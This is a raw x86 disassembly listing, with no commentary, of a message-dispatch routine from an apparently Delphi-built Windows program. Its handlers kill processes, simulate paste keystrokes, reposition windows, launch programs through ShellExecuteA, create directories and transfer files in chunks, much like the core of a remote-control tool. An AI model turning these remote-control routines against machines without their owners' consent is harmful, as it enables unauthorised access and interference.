jne 0x4d9965
mov dl, 1
mov eax, dword [0x470a74]
call fcn.00470c0c
mov edx, dword [0x5344ec]
mov dword [edx], eax
mov eax, dword [0x5344b8]
cmp byte [eax], 0
jne 0x4d9a16
push 0
push 3
lea eax, [ebp - 0x924]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x924]
mov edx, 0x4dc9c0
call fcn.0046d0b8
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
call fcn.004abd20
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5344f4]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x928]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x928]
mov edx, 0x4dc9d8
call fcn.0046d0b8
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d9a0e
dec dword [ebp - 0x48]
mov cl, 1
mov dl, 1
mov eax, dword [0x4edeec]
call fcn.0041f210
mov edx, dword [ebp - 0x48]
mov dword [eax + 0x30], edx
call fcn.0041f55c
cmp dword [ebp - 0x48], 0
jg 0x4d99ec
mov eax, dword [0x5344b8]
mov byte [eax], 1
mov word [0x532f2c], 0
xor eax, eax
mov dword [0x53b3c8], eax
xor eax, eax
mov dword [0x533008], eax
xor eax, eax
mov dword [0x53b404], eax
mov byte [0x532fb8], 0xff
jmp 0x4d9a49
xor edx, edx
mov eax, dword [0x53b3a0]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x532fbc], 0
cmp dword [0x532ff0], 0x32
jge 0x4d9a8f
cmp byte [0x532ff4], 3
je 0x4d9a8f
mov dword [0x53b388], 0xffffffff
mov dword [0x53b38c], 0xffffffff
mov dword [0x53b390], 0xffffffff
mov dword [0x53b394], 0xffffffff
jmp case.0x4d7040.10
mov dword [0x53b388], 0
mov dword [0x53b38c], 0
mov dword [0x53b390], 0
mov dword [0x53b394], 0
jmp case.0x4d7040.10
mov byte [0x532fbc], 1
mov dword [0x532ff0], 0x7d0
jmp case.0x4d7040.10
cmp byte [0x532fb8], 0
je case.0x4d7040.10
mov byte [0x532fb8], 0
mov byte [0x532fc8], 0
mov dword [0x532ff0], 0x7d0
xor word [0x53b384], 0x1a0a
jmp 0x4d9b0e
call fcn.004d621c
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5345dc]
cmp dword [eax], 0
jg 0x4d9b02
mov eax, dword [0x53b39c]
call fcn.00403770
mov eax, dword [0x53b3a0]
call fcn.00403770
mov eax, 0x532fd8
call fcn.0040e218
call fcn.004d6d18
cmp byte [0x533558], 0
jne 0x4d9b53
call fcn.004cd654
call fcn.004ce908
call fcn.004cf064
call fcn.004ccf2c
call fcn.004cb60c
cmp dword [0x53b538], 3
jne 0x4d9b70
or eax, 0xffffffff
call fcn.004cc2b8
jmp 0x4d9b75
call fcn.004cbc80
call fcn.004ee2a8
jmp case.0x4d7040.10
cmp byte [0x532fb8], 0
je case.0x4d7040.10
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x48], eax
cmp byte [0x532fc8], 0
jne 0x4d9bbe
cmp dword [ebp - 0x48], 2
jne 0x4d9bbe
call fcn.0046e8ec
fcomp dword [0x4dc9b4]
fnstsw ax
sahf
jbe 0x4d9bbe
mov dword [ebp - 0x48], 3
movsx eax, byte [0x532ff4]
cmp eax, dword [ebp - 0x48]
je 0x4d9bef
mov al, byte [ebp - 0x48]
mov byte [0x532ff4], al
cmp byte [0x532ff4], 2
jl 0x4d9bef
mov dword [0x53b388], 0
mov dword [0x53b38c], 0
cmp byte [0x53b3b1], 0
jle 0x4d9c04
mov al, byte [0x53b3b1]
mov byte [0x532ff8], al
jmp 0x4d9c16
mov eax, dword [ebx + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x532ff8], al
call fcn.004d2528
cmp byte [0x532ff8], 3
je 0x4d9c24
call fcn.004cb60c
cmp byte [0x532ff8], 4
je 0x4d9c32
call fcn.004ccf2c
cmp dword [0x53b538], 3
jne 0x4d9c6f
movsx eax, byte [0x532fb4]
mov edx, dword [0x532ff0]
call fcn.004cc350
cmp byte [0x532ff8], 5
je 0x4d9c60
or eax, 0xffffffff
call fcn.004cc2b8
jmp 0x4d9c94
mov edx, 2
or eax, 0xffffffff
call fcn.004cc2e4
jmp 0x4d9c94
cmp byte [0x532ff8], 5
je 0x4d9c7f
call fcn.004cbc80
jmp 0x4d9c94
mov eax, dword [0x534744]
cmp dword [eax], 0xffffffd8
jge 0x4d9c94
mov eax, dword [0x534744]
mov dword [eax], 0xffffffd8
mov eax, dword [ebx + 0x18]
and eax, 0x1f
mov esi, dword [eax*4 + 0x533494]
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 1
mov byte [0x53b3e8], al
mov eax, dword [ebx + 0x18]
shr eax, 9
and al, 1
test al, al
jne 0x4d9cc1
mov byte [0x532fb4], 0
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53b398], al
cmp byte [0x532fc8], 0
je 0x4d9d01
test esi, esi
jle 0x4d9ce9
mov eax, esi
call fcn.004d628c
shl eax, 2
mov dword [0x532ff0], eax
jmp 0x4d9cf8
mov eax, esi
call fcn.004d628c
shl eax, 3
mov dword [0x532ff0], eax
mov byte [0x53b3e8], 1
jmp 0x4d9d25
cmp dword [0x53b3e0], 0xb43e
ja 0x4d9d1b
mov eax, esi
call fcn.004d628c
mov dword [0x532ff0], eax
jmp 0x4d9d25
mov dword [0x532ff0], 0x3e8
cmp byte [0x53b3e8], 0
je 0x4d9d3b
cmp byte [0x53b3e9], 0
je case.0x4d7040.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004af8e4
test al, al
je case.0x4d7040.10
call fcn.004afa94
jmp case.0x4d7040.10
mov ax, word [ebx + 0x10]
and ax, 0xffff
mov word [0x53b384], ax
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x53b3ec], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x53b3f0], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x53b3f4], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x53b3f8], eax
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x53b3fc], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x53b400], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x53b404], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x53b408], eax
jmp case.0x4d7040.10
lea eax, [ebp - 0xe8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
lea eax, [ebp - 0xe8]
call fcn.004d37b0
cmp dword [ebx + 0x10], 0
je 0x4d9e1e
mov ecx, dword [ebp - 0xe8]
mov dx, word [0x4dc9a0]
mov al, 1
call fcn.004acb70
jmp case.0x4d7040.10
xor ecx, ecx
mov dx, word [0x4dc9e4]
xor eax, eax
call fcn.004acb70
jmp case.0x4d7040.10
mov edx, dword [ebx + 0x10]
xor dl, 1
mov eax, dword [0x534868]
mov eax, dword [eax]
mov eax, dword [eax + 0x308]
call fcn.0044f3dc
jmp case.0x4d7040.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d7040.10
lea eax, [ebp - 0x930]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov eax, dword [ebp - 0x930]
lea edx, [ebp - 0x92c]
call fcn.00408d84
mov edx, dword [ebp - 0x92c]
mov eax, 0x53b568
call fcn.004045d0
push 0
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d7040.10
lea eax, [ebp - 0x5c]
call fcn.0040457c
cmp byte [ebx + 0xc], 0x9f
jne 0x4d9edf
cmp dword [ebx + 4], 0x20
jle 0x4d9edf
lea edx, [ebp - 0x5c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebx + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4d9f03
cmp eax, 0xffffffff
je 0x4d9f03
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x5c], 0
je case.0x4d7040.10
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
call fcn.00404614
jmp 0x4d7b4b
lea edx, [ebp - 0x934]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x934]
mov eax, 0x53b4e8
call fcn.00404e38
mov dl, 1
mov eax, dword [0x53b4e8]
call fcn.004ea2f4
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4d7040.10
lea edx, [ebp - 0x6c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x6c]
mov eax, 0x4dc9f0
call fcn.00404b70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d9fcd
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x6c]
call fcn.00404a8c
cmp dword [ebx + 0x10], 0xaf
jne 0x4d9fe6
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
call fcn.004e6940
jmp case.0x4d7040.10
cmp dword [ebx + 0x10], 0xae
jne 0x4da004
or edx, 0xffffffff
mov eax, dword [ebp - 0x6c]
call fcn.00409434
call fcn.004e6a44
jmp case.0x4d7040.10
cmp dword [ebx + 0x10], 0xb4
jne 0x4da023
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53b4d0]
call fcn.00404880
jmp 0x4d7b4b
cmp dword [ebx + 0x10], 0xb5
jne case.0x4d7040.10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53b4d0]
call fcn.00404880
jmp 0x4d7b4b
mov eax, dword [ebx + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4d7040.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d7040.10
lea eax, [ebp - 0x1e8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e8]
and ecx, 0xffff
mov eax, dword [ebp - 0x1e4]
shl eax, 0x10
or ecx, eax
mov edx, 0xfb
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d7040.10
mov di, word [ebx + 0x10]
and di, 0xffff
movsx edi, di
mov eax, dword [ebx + 0x10]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x4c], eax
mov ax, word [ebx + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x54], eax
push 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x4c]
push eax
push edi
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d7040.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d7040.10
push 0
lea eax, [ebp - 0x208]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebx + 0x10]
cmp eax, 9
ja case.0x4da168.0
jmp dword [eax*4 + 0x4da16f]
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da3ae
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4da1d5
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da3ae
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da3ae
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4da24a
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da3ae
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4da296
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da3ae
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4da3ae
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4da2f3
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4da3ae
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4da3ae
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4da375
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4da3a2
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1f4]
push eax
mov eax, dword [ebp - 0x1f8]
push eax
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov edx, 0x4dc9fc
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
mov eax, dword [0x534848]
push dword [eax]
push 0x4dca2c
lea eax, [ebp - 0x938]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x938]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
mov eax, dword [0x534848]
push dword [eax]
push 0x4dca3c
lea eax, [ebp - 0x93c]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x93c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
mov eax, dword [0x534848]
push dword [eax]
push 0x4dca4c
lea eax, [ebp - 0x940]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x940]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x944]
mov eax, 0xf9
call fcn.004a94e4
mov ecx, dword [ebp - 0x944]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404880
lea eax, [ebp - 0x948]
mov edx, dword [ebp - 0x88]
call fcn.00404e38
mov eax, dword [ebp - 0x948]
push eax
push esi
call fcn.0046d968
push 0x4dca5c
push dword [ebp - 0x88]
push 0x4dca5c
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048f4
mov eax, esi
call fcn.00403770
call fcn.004d6314
xor edx, edx
mov eax, 3
call fcn.004d6334
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a2c
push eax
push 0x4dc998
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov edx, 0x4dc9fc
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
lea eax, [ebp - 0x950]
mov edx, dword [0x53b2a4]
mov dl, byte [edx]
call fcn.0040475c
push dword [ebp - 0x950]
push 0x4dca68
lea eax, [ebp - 0x94c]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x94c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
push dword [0x53b2a4]
push 0x4dca7c
lea eax, [ebp - 0x954]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x954]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
push dword [0x53b2a4]
push 0x4dca94
lea eax, [ebp - 0x958]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x958]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dca1c
mov eax, dword [0x534848]
push dword [eax]
push 0x4dca4c
lea eax, [ebp - 0x95c]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x95c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x960]
mov eax, 0xf9
call fcn.004a94e4
mov ecx, dword [ebp - 0x960]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404880
lea eax, [ebp - 0x964]
mov edx, dword [ebp - 0x88]
call fcn.00404e38
mov eax, dword [ebp - 0x964]
push eax
push esi
call fcn.0046d968
push 0x4dca5c
push dword [ebp - 0x88]
push 0x4dca5c
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048f4
mov eax, esi
call fcn.00403770
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a2c
push eax
push 0x4dc998
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.0047079c
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
jmp case.0x4d7040.10
lea edx, [ebp - 0x968]
mov eax, 0xfa
call fcn.004a94e4
mov eax, dword [ebp - 0x968]
push eax
lea edx, [ebp - 0x96c]
mov eax, 0xae
call fcn.004a94e4
mov eax, dword [ebp - 0x96c]
push eax
lea eax, [ebp - 0x970]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov ecx, dword [ebp - 0x970]
pop eax
pop edx
call fcn.0046c0c0
jmp case.0x4d7040.10
cmp dword [0x532f38], 0x52503ff
jb case.0x4d7040.10
cmp byte [0x533578], 0
jne case.0x4d7040.10
xor eax, eax
push ebp
push 0x4daa63
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x10]
mov dword [0x53b34c], eax
mov eax, dword [0x53b34c]
add eax, 0x5b
cmp eax, dword [0x53b3e0]
jae 0x4da772
push 0
push 0x3e8
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
call fcn.00405910
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4da772
cmp eax, 0
je 0x4daa4e
mov byte [0x533578], 1
lea edx, [ebp - 0x9c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x9c]
call fcn.004d37b0
lea eax, [ebp - 0xd0]
mov edx, dword [ebp - 0x9c]
call fcn.00404614
mov eax, dword [ebp - 0x9c]
call fcn.00404834
cmp eax, 3
jl 0x4daa2f
mov eax, dword [ebp - 0x9c]
call fcn.00462d5c
test al, al
je 0x4daa2f
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xe1
mov eax, dword [ebp - 0x28]
call fcn.004d5178
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e1770
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e19bc
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1f4c
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x9c]
call fcn.004045d0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4eebd4]
call fcn.00403740
mov dword [0x53b588], eax
push 0
push 0x20
mov eax, dword [0x53b588]
call fcn.00419664
push 0
push 0x20
mov eax, dword [0x53b588]
call fcn.00419600
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4daa28
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
mov eax, dword [0x53b588]
call fcn.00419614
cmp edx, 0
jne 0x4da8c1
cmp eax, 0x20
jbe 0x4da9e7
jmp 0x4da8c7
jle 0x4da9e7
mov eax, dword [0x53b588]
mov ebx, dword [eax + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xe8
mov byte [ebx + 0xe], 0
mov eax, dword [0x53b588]
call fcn.00419614
mov dword [ebx + 4], eax
mov eax, dword [0x53b3e0]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov eax, ebx
call fcn.004e1188
mov eax, dword [ebx + 4]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0x7a8]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf2
mov byte [ebx + 0xe], 0
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [0x53b588]
call fcn.00419600
xor esi, esi
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb0]
cdq
push edx
push eax
mov eax, dword [0x53b588]
call fcn.004195e0
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4da95f
cmp eax, 0x500
jbe 0x4da96d
jmp 0x4da961
jle 0x4da96d
mov dword [ebp - 0xac], 0x500
jmp 0x4da985
mov eax, dword [0x53b588]
call fcn.004195e0
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebp - 0xac], edx
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [0x53b588]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x53b588]
call fcn.004195e0
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebx + 0x18], edx
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d4e30
test al, al
je 0x4daa05
test esi, 0xf
jne 0x4da9db
mov eax, dword [0x534724]
mov eax, dword [eax]
call fcn.00447fa0
cmp dword [ebx + 0x18], 0
jne 0x4da931
jmp 0x4daa05
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d5178
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4daa4e
mov eax, dword [0x53b588]
call fcn.00403770
mov eax, dword [ebp - 0xd8]
call fcn.00403770
ret
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d5178
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d7040.10
mov byte [0x533578], 0
ret
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x34]
call fcn.004d37b0
push 0
lea eax, [ebp - 0x34]
call fcn.00404a84
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
push 0
push 0
lea edx, [ebp - 0x974]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0x974]
push eax
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
cmp byte [0x53357c], 0
jne case.0x4d7040.10
xor eax, eax
push ebp
push 0x4dacc8
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53357c], 1
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x978]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x978]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d37b0
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4dac80
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 1
lea ecx, [ebp - 0x97c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x97c]
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404880
mov eax, dword [ebp - 0x34]
call fcn.0046d6bc
test al, al
je 0x4dabb0
mov eax, dword [ebp - 0x34]
call fcn.004eb0a4
mov edx, 2
mov eax, dword [ebp - 0x34]
call fcn.004d31d0
jmp 0x4dac71
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e1770
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e19bc
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1f4c
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x34]
call fcn.004045d0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4dac58
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dac5f
mov eax, dword [ebp - 0xd8]
call fcn.00403770
ret
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dab62
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004d5314
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d7040.10
mov eax, dword [ebp - 0x98]
call fcn.00403770
mov byte [0x53357c], 0
ret
mov dl, 1
